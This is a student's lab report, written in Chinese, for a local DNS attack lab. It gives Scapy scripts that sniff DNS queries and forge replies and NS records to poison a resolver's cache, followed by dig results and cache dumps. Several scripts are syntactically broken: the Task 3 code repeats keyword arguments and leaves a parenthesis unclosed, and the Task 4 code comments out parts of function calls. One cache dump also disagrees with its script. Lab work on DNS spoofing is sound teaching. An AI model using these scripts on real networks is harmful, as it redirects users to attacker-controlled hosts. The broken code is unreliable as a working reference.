

Local DNS Attack Lab

57118219 贾志豪

TASK 1 Directly Spoofing Response to User

Dns 攻击代码部分:

将 www.example.net 的 dns 引导至 10.0.2.5, 设置相应网卡进行抓包

```
1#!/usr/bin/env python3
2from scapy.all import *
3
4def spoof_dns(pkt):
5    if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):
6
7        # Swap the source and destination IP address
8        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
9
10       # Swap the source and destination port number
11       UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
12
13       # The Answer Section
14       Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
15                       ttl=259200, rdata='10.0.2.5')
16
17       # The Authority Section
18       NSsec1 = DNSRR(rrname='example.net', type='NS',
19                       ttl=259200, rdata='ns1.example.net')
20       NSsec2 = DNSRR(rrname='example.net', type='NS',
21                       ttl=259200, rdata='ns2.example.net')
22
23       # The Additional Section
24       Addsec1 = DNSRR(rrname='ns1.example.net', type='A',
25                       ttl=259200, rdata='1.2.3.4')
26       Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
27                       ttl=259200, rdata='5.6.7.8')
28
29       # Construct the DNS packet
30       DNSpkt = DNS(id=pkt[DNS].id, ad=pkt[DNS].ad, aa=1, rd=0, ar=1,
31                    qdcount=1, ancount=1, nscount=2, arcount=2,
32                    an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
33
34       # Construct the entire IP packet and send it out
35       spoofpkt = IPpkt/UDPpkt/DNSpkt
36       send(spoofpkt)
37
38 # Sniff UDP query packets and invoke spoof_dns().
39 f = 'udp and dst port 53'
40 pkt = sniff(iface='br-62c5ebe75e0c', filter=f, prn=spoof_dns)
```

开始攻击后，在 User 端进行 dig 操作，结果显示如下：
显示 www.example.net 的 dns 变为 10.0.2.5，修改成功

```
root@aaebc8f9c4e2:/# dig www.example.net

; <<> DiG 9.16.1-Ubuntu <<> www.example.net
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 2283
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.net.                IN      A

;; ANSWER SECTION:
www.example.net.                259200  IN      A      10.0.2.5

;; AUTHORITY SECTION:
example.net.                    259200  IN      NS      ns1.example.net.
example.net.                    259200  IN      NS      ns2.example.net.

;; ADDITIONAL SECTION:
ns1.example.net.                259200  IN      A      1.2.3.4
ns2.example.net.                259200  IN      A      5.6.7.8

;; Query time: 99 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 01:13:51 UTC 2021
;; MSG SIZE rcvd: 206
```

TASK 2 DNS Cache Poisoning Attack – Spoofing Answers

事先对 dns 服务器缓存进行刷新

```
# rndc flush
```

进行如 task1 类似操作，伪造 dns response 报文

```
# rndc dumpdb -cache
```

```
#cat/var/cache/bind/dump.db
```

Dump 中缓存记录如下：攻击成功

```
; additional
ns1.example.net.                863975  A      1.2.3.4
; additional
ns2.example.net.                863975  A      5.6.7.8
; authanswer
www.example.net.                863975  A      10.0.2.5
```

Task 3 Spoofing NS Records

攻击代码如下：

设置 NS records ，访问所有 example.com 域名均需通过 ns.attacker32.com

```
1#!/usr/bin/env python3
2from scapy.all import *
3
4def spoof_dns(pkt):
5    if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
6
7        # Swap the source and destination IP address
8        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
9
10       # Swap the source and destination port number
11       UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
12
13       # The Answer Section
14       Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
15                       ttl=259200, rdata='10.0.2.5')
16
17       # The Authority Section
18       NSsec1 = DNSRR(rrname='example.com', type='NS',
19                       ttl=259200, rdata='ns.attacker32.com')
20       #NSsec2 = DNSRR(rrname='example.net', type='NS',
21                       #ttl=259200, rdata='ns2.example.net')
22
23       # The Additional Section
24       #Addsec1 = DNSRR(rrname='ns1.example.net', type='A',
25                       #ttl=259200, rdata='1.2.3.4')
26       #Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
27                       #ttl=259200, rdata='5.6.7.8')
28
29       # Construct the DNS packet
30       DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
31                   qdcount=1, ancount=1, nscount=1,
32                   qdcount=1, ancount=1, nscount=1,
33                   an=Anssec, ns=NSsec1
34                   #,ns=NSsec1/NSsec2, ar=Addsec1/Addsec2), , arcount=2,
35
36       # Construct the entire IP packet and send it out
37       spoofpkt = IPpkt/UDPpkt/DNSpkt
38       send(spoofpkt)
39
40# Sniff UDP query packets and invoke spoof_dns().
41f = 'udp and dst port 53'
42pkt = sniff(iface='br-c1317b9d27d2', filter=f, prn=spoof_dns)
```

开始攻击后，在 User 主机上 dig mail.example.com，显示出 Attacker-dns 服务器返回的结果，攻击成功

```
root@d4485429bb7c:/# dig mail.example.com
```

```
; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3106
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 34f646bfa4ccf41f0100000060f4e27561ff2e6827c56c79 (good)
;; QUESTION SECTION:
;mail.example.com.                IN      A

;; ANSWER SECTION:
mail.example.com.                259200  IN      A      1.2.3.6

;; Query time: 1716 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 02:24:53 UTC 2021
;; MSG SIZE rcvd: 89
```

如下是 local dns server 缓存里的记录，均被记录：

example.com.	863848	NS	ns.attacker32.com.
; authanswer			
.example.com.	863848	A	10.0.2.5
; authanswer			
mail.example.com.	863848	A	1.2.3.6

Tsak 4 Spoofing NS Records for Another Domain

如下是攻击代码部分：

在 NS 中额外加入 google.com 的 dns

```
1#!/usr/bin/env python3
2from scapy.all import *
3
4def spoof_dns(pkt):
5    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
6
7        # Swap the source and destination IP address
8        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
9
10       # Swap the source and destination port number
11       UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
12
13       # The Answer Section
14       Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
15                      ttl=259200, rdata='10.0.2.5')
16
17       # The Authority Section
18       NSsec1 = DNSRR(rrname='example.com', type='NS',
19                     ttl=259200, rdata='ns.attacker32.com')
20       NSsec2 = DNSRR(rrname='google.com', type='NS',
21                     ttl=259200, rdata='ns.attacker32.com')
22
23       # The Additional Section
24       Addsec1 = DNSRR(rrname='ns1.example.net', type='A',
25                      #ttl=259200, rdata='1.2.3.4')
26       Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
27                      #ttl=259200, rdata='5.6.7.8')
28
29       # Construct the DNS packet
30       DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
31                   qdcount=1, ancount=1, nscount=2,
32                   an=Anssec, ns=NSsec1/NSsec2)
33       #, ar=Addsec1/Addsec2) arcount=2,
34       #, ns=NSsec1, ), ,
35
36       # Construct the entire IP packet and send it out
37       spoofpkt = IPpkt/UDPpkt/DNSpkt
38       send(spoofpkt)
39       spoofpkt.show()
40
41# Sniff UDP query packets and invoke spoof_dns().
42f = 'udp and dst port 53'
43pkt = sniff(iface='br-d4b86cc01628', filter=f, prn=spoof_dns)
```

进行攻击后，在 User 端进行 dig 操作，确实得到 google.com 的 dns 修改后结果

```
root@d4485429bb7c:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56595
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      10.0.2.5

;; AUTHORITY SECTION:
example.com.                    259200  IN      NS      ns.attacker32.com.
google.com.                     259200  IN      NS      ns.attacker32.com.

;; Query time: 75 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 03:31:58 UTC 2021
;; MSG SIZE rcvd: 147

-
```

但实际上缓存中不存在 google.com 的记录，并不合法所以不被记录，和回复记录中的域名不相关的不会加入

```
; authauthority
example.com.                777428  NS      ns.attacker32.com.
```

Task 5 Spoofing Records in the Additional Section

如下是攻击代码部分：

对与 NS 和 Add 部分的修改

```
18 NSsec1 = DNSRR(rrname='example.com', type='NS',
19                ttl=259200, rdata='ns.attacker32.com')
20 NSsec2 = DNSRR(rrname='example.com', type='NS',
21                ttl=259200, rdata='ns.example.com')
22
23 # The Additional Section
24 Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',
25                ttl=259200, rdata='1.2.3.4')
26 Addsec2 = DNSRR(rrname='ns.example.com', type='A',
27                ttl=259200, rdata='5.6.7.8')
28 Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
29                ttl=259200, rdata='3.4.5.6')
30
```


攻击开始后，在 User 端进行 dig 操作，返回正确修改后的结果

```
root@66d3e887e3ad:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21577
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      10.0.2.5

;; AUTHORITY SECTION:
example.com.                    259200  IN      NS      ns.attacker32.com.
example.com.                    259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.              259200  IN      A      1.2.3.4
ns.example.com.                 259200  IN      A      5.6.7.8
www.facebook.com.               259200  IN      A      3.4.5.6

;; Query time: 60 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 09:46:57 UTC 2021
```

观察 local dns server 主机缓存里的记录，之有如下两条，其余均不被记录：其余均不合法，和回复记录中的域名不相关的不会加入。

```
example.com.                777591  NS      ns.example.net.
                           777591  NS      ns.attacker32.com.
. . . . .

; additional
ns.example.com.             863966  A      5.6.7.8
. . . . .
```